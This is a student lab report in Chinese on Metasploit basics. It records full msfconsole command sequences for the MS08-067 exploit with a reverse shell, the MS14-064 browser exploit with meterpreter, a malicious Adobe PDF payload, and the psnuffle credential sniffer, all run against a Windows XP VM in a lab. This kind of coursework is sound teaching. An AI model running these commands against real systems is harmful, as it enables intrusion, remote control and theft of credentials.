Exp6 MSF应用基础
-
一、实践内容
-
1.1 实践目标
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路
-
1.2 实践内容
- 一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
- 成功应用任何一个辅助模块。(1分)
- 上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。
-
二、实践原理
- MSF攻击方法
- 主动攻击:扫描主机漏洞
- 攻击浏览器
- 供给客户端
- 六个模块
- 渗透攻击模块
exploit
- 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 辅助模块
Auxiliary
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
- 攻击载荷
Payload
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种payload :Single,Stager,Stages。
- 空字段模块
Nop
:- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
- 编码模块
Encoders
:- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征
- 针对
- 后渗透攻击模块Post :
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 渗透攻击模块
- MSF的三种用户操作界面
msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- 启动服务器
- webgui
- MSF攻击方法
-
三、实践过程记录
-
3.0 实验准备
-
3.0.1 靶机下载
- windows XP迅雷下载链接:
- ed2k://|file|en_windows_xp_home_with_service_pack_3_x86_cd_x14-92413.iso|592154624|E31A555C0AB581B8610583D2D25E93BD|/
- 镜像下载网站:https://msdn.itellyou.cn/
- windows XP安装配置:https://blog.csdn.net/sunyisong090630/article/details/126335463
- 下载过程如下
- 关闭防火墙
-
-
3.1 主动攻击实践
-
查看版本
- Ms08_067_netapi在Metasploit中应该算是很老牌的溢出攻击荷载,使用它进行攻击可以取得一个相对比较高的系统权限。
- 攻击机:kali:
192.168.80.128
- 靶机:Windows
192.168.80.133
- Step1:测试机与攻击机之间能否ping通
- Step2:进行攻击,与靶机连接
- 查看版本
- 输入以下命令:
-
msfconsole search scanner/smb/smb_ use 7 show options set rhosts 192.168.80.133 run
- 查看版本
-
MS08-067远程溢出漏洞实践(shell)
- 输入以下命令:
-
msfconsole search ms08-067 // 在msf模式下查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息 use exploit/windows/smb/ms08_067_netapi //选择该漏洞 set payload generic/shell_reverse_tcp //设置攻击的载荷,使用漏洞 set RHOSTS 192.168.80.133 //设置靶机IP set LHOSTS 192.168.80.128 //设置攻击机IP exploit //进行攻击
- 如上图所示,已经连接上了靶机的shell
- 我们来输入命令测试一下:
- 输入
ipconfig /all
-
-
3.2 一个针对浏览器的攻击
-
ms14_064
- ms14-064简介:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
-
在攻击机Kali中打开MSF
``` sudo msfconsole search ms14_064 //查看与此漏洞相关的攻击模块 use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 set payload windows/meterpreter/reverse_tcp //设置攻击载荷 set SRVHOST 192.168.80.128 //设置攻击机IP(kali) set AllowPowerShellPrompt true //设置powershell set LHOST 192.168.80.128 //设置监听地址(KaliIP) set LPORT 1223 //设置监听端口 show targets //查看此漏洞适用的系统版本 set target 0 //设置winXP靶机 show options //查看设置的参数信息 exploit ```
- 将生成的URL拷贝至Windows XP虚拟机的IE浏览器中运行
- URL:http://192.168.80.128:8080/3Ib8je9t
- 输入 sessions -i 1 即可获取刚刚我们所创建的那个会话连接
- 输入 ipconfig ,获取到靶机的IP地址
-
-
3.3 一个针对客户端的攻击
-
Adobe
- Step1:攻击机生成攻击所用文件
- 在攻击机中输入以下命令:
- ``` `
msfconsole
search adobe //查找Adobe漏洞
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options
set LHOST 192.168.80.133 //设置靶机地址IP
set LPORT 1223 //设置监听端口
set FILENAME 20201223.pdf //设置文件名
exploit //攻击 - Step2:将文件传至靶机
- kali下输入
cp /root/.msf4/local/20201223.pdf 20201223.pdf
将文件拷贝至当前目录 - 直接将文件拖入靶机
- 需在Windows xp中安装VMware tools
- 将20201223.PDF拖入靶机
- 需在Windows xp中安装VMware tools
- kali下输入
- Step3:开始攻击
- kali中输入以下命令开始监听:
-
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set RHOST 192.168.80.133 //设置靶机IP地址 set LPORT 1223 //设置端口号 exploit //开始攻击
- 在靶机中使用Adobe reader打开生成的pdf文件
- 需在靶机中安装Adobe reader
- 需在靶机中安装Adobe reader
- kali中成功回连!
-
-
3.4 成功应用任何一个辅助模块
-
portscan(端口扫描)
- Step1:攻击机开始攻击
- 在kali中输入以下命令:
-
search sniff //查看嗅探相关攻击 use auxiliary/sniffer/psnuffle //选择攻击操作 show options //查看设置 exploit //开始攻击
- Step2:在靶机中尝试上网
- Step3:查看攻击机中获得的信息
- Step1:攻击机开始攻击
-
-
四、问题回答
-
4.1 基础问题回答
-
4.1.1 用自己的话解释什么是exploit,payload,encode
exploit
:是工具模块,用于连接漏洞,接着把使用的payload传送到靶机中,最后利用靶机漏洞进行攻击。实验中最后开始攻击一般都要输入exploit。payload
:是载荷模块,这才是目标系统开始exploit传送后,传送执行的攻击代码。我们一般在exploit中调用payload。encode
:是编码模块,可以对载荷包装加壳,目的是改变特征码,使得payload中不出现特征码,避免被杀软查杀。
-
-
4.2 离实战还缺些什么技术或步骤?
- 发现和利用漏洞的能力
- 实验里的漏洞很多都是已经被发现且修复的漏洞,所以现在使用的系统能被我们利用的漏洞还是不多的。
- 我觉得0day漏洞利用起来更容易一些。
- 自身技术
- 实验都是在特定的软件、特定的系统里做的,要是真的实战,无法实现有效的网络攻防
- 对攻击的熟练程度
- 经过这次实践,将病毒和后门程序真正展现起作用才是最重要的。
- 实验里很多都是类似的步骤
- 在实战里这些肯定是基础中的基础,所以这是实战的基本要求。
- 发现和利用漏洞的能力
-
-
五、实践心得体会
- 在不断的尝试和实践中,我对不同模块的主要内容和功能有了一些掌握,对MSF的应用有了更深入的了解,但也认识到了自己的不足。本次实验难度不大,但是要找到有合适漏洞的系统,还有下载合适的软件,花费的功夫还是很多的。这也说明了要真的实战是很困难的,还得不断提高才行。